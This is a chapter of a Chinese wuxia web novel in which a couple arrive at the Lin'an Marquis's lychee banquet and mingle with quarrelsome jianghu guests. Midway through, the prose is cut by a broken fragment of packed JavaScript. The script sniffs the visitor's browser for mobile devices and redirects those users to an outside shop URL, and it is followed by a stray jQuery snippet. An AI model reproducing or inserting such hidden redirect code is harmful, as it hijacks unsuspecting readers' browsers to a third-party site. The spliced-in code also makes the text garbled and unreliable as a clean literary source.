鼓声落,临安侯府衙大门随之而开。
荣微右手搭在腕骨的玉镯子上,轻轻摩挲过上面的纹饰。
江陇将近十斤重的荔枝果放在地上,双手垂拱,朝掌家道:“在下岭南道江陇,携夫人前来拜会临安侯。”
掌家和善笑笑,道:“原来是近几日在咱们临安城名声传遍的荔枝夫妇,快请进,侯爷可是对你们期待已久。”
他身后站着一小厮,正手握笔杆,埋头做着文书记录。
“今日人多眼杂,江湖客众多,为保诸位安全,进入侯府还需勘验二位的官凭路引。”
荣微从腰囊中取出路引,掌家看得细致,等的时间便稍显漫长。
身后远远传来萧若云的声音,绕过堆叠的人声:“江兄弟,江夫人。”
荣微微不可察地叹息,挂上笑容转身,“萧大哥。”
这一声“萧大哥”明显取悦了萧若云,他步伐快了些,手中的折扇差点刮蹭过门口那棵枯树,被一旁的护卫挡住。
“不许靠近!”护卫面露凶光,横刀斩过萧若云的扇子。
萧若云下意识挥扇,被当众如此呵斥,一时脸皮挂不住,腰侧的剑不由分说地就要出鞘。
掌家“啪”的一声,重重合上路引,苍劲有力的声音掷来:“这位贵客,这是我们侯爷素来最喜爱的树,你若是敢伤其分毫——”
言尽于此,掌家重新笑着朝江陇和荣微欠身,将路引递还给他们,“请。”
萧若云面色铁青,一时进退两难,手中的剑抖了抖。
荣微欲抬步进门的脚一顿,侧过半脸,声音不大不小:“萧大哥,这可是荔枝树。”
此话给了萧若云台阶下,他连忙收剑,面带惑色上下打量了一番,“这是荔枝树?”
“这是侯爷特意命人从岭南移植来的荔枝树,”掌家解释道,“只不过如今天寒,结不了果。”
“夏天竟也可结?”身后有人稀奇问。
“这位小兄弟应当不是我们临安城的。”他身旁的人随即出声道,“放眼这临安城中,有谁人不知,咱们侯爷爱荔枝如命,这荔枝树种在这,日夜都有人养护,夏天自然也会结果。”
掌家继续轻笑道:“这荔枝本有皱玉之称,我们侯爷先夫人闺名便是皱玉二字,正巧,”他说着看了荣微一眼,“先夫人也是来自岭南,极嗜荔枝,所以如今侯府上下,会有许多带荔枝的物件,皆是侯爷为了怀念先夫人所得。”
荣微一笑,方才那人又感慨道:“原来这荔枝宴背后,竟是一段佳话。侯爷对夫人用情至深,当真难得!”
荣微默不作声牵住江陇的手,她的指尖有些凉,侵得江陇眉心一皱,正欲开口问询,荣微已先低声道:“丧妻后,临安侯此生也不曾续弦,一生只得一妻,你说,这世上当真有如此纯粹至真的感情么?”
她状似在问,实则也只是跟着感叹,江陇手指微微僵硬,半晌,只能轻轻点了点头。
两人在府中女侍的指引下往内走。
游廊深长,绕过燃着檀香的佛堂,青砖齐整过处,庭院枯草深深,看起来已有许久没人打理。
荣微缓缓看了一眼,又随即将目光落到假山亭台之间。
绕过一扇圆拱形的门,面前是一座与方才俨然不同的庭院,曲水流觞,梅树生花,淡而艳的桃株隐于其间,深红浅红交叠,廊柱的纹饰皆是荔枝果的雕刻,婉约风雅,围满了早些入府的江湖客。
女侍朝她和江陇颔首,道:“二位贵客,请在此稍作歇息,侯爷会在巳时三刻出来接客。”
“多谢。”荣微浅浅一笑。
江湖客中有人听见声响回头,竟是昨夜红梅山庄的贾平,他脸上堆着笑,看得出今日特意整理过胡须,干净整齐,随着撩须的手顺滑垂落。
“江兄弟,夫人。”
贾平身后跟着一对约莫三十来岁的夫妇,他侧过半身,介绍道:“这是犬子贾信春和新妇白氏。”
贾信春看起来不似商贾,倒更像是书生模样,温文尔雅,举止投足间礼数周全,“昨夜父亲从红梅山庄回来,带了夫人酿制的岭南果酒,清爽甘甜,令人回味无穷。”
“过奖。”荣微温婉笑笑,“不过承得古法酿制罢。”
贾平身旁奉承者不少,听见攀谈便接二连三地凑了过来,七嘴八舌道:“可惜了,昨夜我竟没能喝上这稀奇的果酒。”
“听说这位小兄弟和夫人都是岭南人,那可会讲岭南乡话?”
“能否讲一两句,让我们也尝尝鲜?”
江陇还牵着荣微的手,只不过,如今手指冰凉的变成了他,倒是荣微,指尖的凉意很快被热意覆盖,她保持着端庄,笑着回道:“自是可以。”
江陇蓦地一愣,怔怔地看了她一眼,却见荣微淡定自如,浅红的唇瓣一张一合,当真说出几个没有人能听懂的音节。
这是,糊弄人的?
江陇心中讶然,可尚不及问,萧若云阴魂不散的声音混着常舒明的,已经远远地从圆门外传来。
“江兄,你们这么早便进来了!”
常舒明见到江陇很是高兴,拉过沉着脸的林拓,快步走来,不曾想,半路突然出现个拦路虎。
九节鞭垂在地面,鎏金护腕又换了一个,变成更加纹路复杂的银饰,前日石桥上的使鞭小公子脸色难得平和,看着比自己高了半截的常舒明,道:“咱们再打一场!”
贾信春不愿参入这群整日喊打喊杀的江湖人中,连忙寻了借口,带着白氏离去。
荣微顿了顿,问萧若云:“那日他们三人,最后是常公子赢了?”
“没有。”萧若云摇头,“后面没打成。”
“没打成?”
“那位使鞭的公子打到一半,不知道突然看到什么,然后就气得跺脚,急哄哄地说自己有事要走,下回再找他俩算账。”
萧若云扬了扬下巴,“喏,下回便是今日了。”
荣微点头,看向前方拉扯半天的三人。
“不过,”萧若云忽然压低声音,“这贾信春可不比他父亲那般心善,你们小心为上。”
江陇皱了皱眉,这才把心思转到萧若云身上。
萧若云声量更低了:“你们瞧见他那夫人白氏了没?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493881|141665||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“她之前有一个非常江湖气的名字,白温玉。”
荣微面色生疑。
萧若云微微一笑,“听说这白温玉是关内来的,从前是春楼歌妓,这贾信春陪着父亲到关中做生意,看上了,花了重金将人赎出来的。”
“他对白氏倒是好得很,直接娶做夫人,平日格外爱护,更不容许旁人评断她分毫。”
“先前便是有人无意提了一嘴白氏的出身,应当开了个玩笑罢……”
萧若云讲得像自己亲眼见过似的,语气幽然,“结果当晚,贾信春便雇了杀手,绑了那人,活生生拔了舌,再乱刀砍死,啧啧,那死状可是凄惨。”
“说起来,你们昨夜可是从贾老板那得了块红珠玉?能否——”
“不打,这可是临安侯府,岂容你在这里肆意妄为?”
“我管你们什么临安侯,你们杀了我的良驹,就该付出代价!”
“代价?”林拓声线冷淡,带着股森寒,“莫不如你告诉我,什么代价?就你也配?”
荣微淡淡地看了林拓一眼,又随即敛眸,眼神虚空,盯着她和江陇交握在一起的手。
萧若云话未说完便被打断,他握拳置于唇边,佯装咳了一声。
这三人吵声越发激烈,他想做和事佬,又忌惮着不敢上前,犹犹豫豫间,庄严一声“阿弥陀佛”,终是打断了喧闹声。
荣微抬头看去,来的正是方才侯府外,站在屠户家门前的那两名佛僧。
身后跟着个抱剑的冷面钟暮。
她勾住江陇的尾指指尖,两人便默契地隐入人堆之中,稍稍离那聒噪的萧若云远了一些。
使鞭的小公子脸色稍霁,他身后走来一男一女两个随身仆从,其中一人同他耳语几句,他悻悻然放下长鞭,抱手冷哼一声,不再烦扰常舒明和林拓。
常舒明这才松了口气,朝着两名僧师拱手作揖:“若无师父,若了师父。”
“阿弥陀佛。”
若无年纪稍长,念珠转了转,“常公子,别来无恙。”
荣微这方认出这两人是鸣銮寺的僧师。
如今江湖武林兴起流派不少,除了提刀舞剑、长鞭暗术,连佛道门教也跟着修武学,入武林,声势浩大。
荣微向来并不关心这些。
山河盟中她认识的只有零星几人,打交道最多的便是那全是尼姑的寂照庵,除此之外的一切旁人——
她大多认不出来。
所以伪装身份有一个绝妙的好处,她可以装作什么都不知道,看这群人在此虚与委蛇,各怀鬼胎。
钟暮倒是鹤立鸡群,很快便站在日照晒不到的廊柱底下,闭眼假寐,连攀谈都省了去。
奈何萧若云并不想放过他。
他扇子一摇,走了过去,“哟,钟兄原来也来啦,我还以为你们暗门的人和剑雨楼的那位一样高傲,来都不想来呢。”
钟暮睁眼,冰冷地睨了他一会,话都懒得答。
萧若云素来不待见暗门,瞧他这模样,自是张了嘴又要继续说道。
这时,亭台中忽有琴声悠然,众人连忙寻声看去。